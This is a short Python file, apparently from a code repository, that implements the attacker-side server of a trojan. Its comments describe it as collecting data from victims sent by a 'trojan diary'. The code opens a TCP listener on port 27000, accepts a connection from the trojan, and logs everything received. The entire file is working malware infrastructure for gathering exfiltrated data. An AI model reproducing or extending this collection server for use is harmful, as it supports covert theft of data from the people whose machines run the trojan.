File size: 1,849 Bytes
bb5fa15 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | #!/usr/bin/env python3
""" Implementation of the server that collects data sent by trojan.
"""
import logging
import socket
class Server:
""" This class represents a server of the attacker that
collects data from the victim.
"""
def __init__(self, port):
self._port = port
# Initialize the socket for connection.
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@property
def port(self):
""" Port, on which the server runs (`int`). """
return self._port
@port.setter
def port(self, new_port):
self._port = new_port
@property
def socket(self):
""" Server socket. """
return self._socket
def initialize(self):
""" Initialize server before session. """
try:
self.socket.bind(('localhost', self._port))
self.socket.listen()
logging.debug('Server was successfully initialized.')
except socket.error:
print('Server was not initialized due to an error.')
def collect_data(self):
""" Collect data from client trojan application. """
# Establish a connection with the victim.
connection, address = self.socket.accept()
with connection:
print('Connection with trojan established from {}'.format(address))
# Receive data sent by trojan diary.
while True:
data = connection.recv(1024)
if not data:
break
logging.info(data)
if __name__ == '__main__':
logging.basicConfig(level=logging.DEBUG)
# Create and initialize a server running on attacker's side.
server = Server(27000)
server.initialize()
# Collect the data sent by trojan that was executed on victim's side.
server.collect_data()
|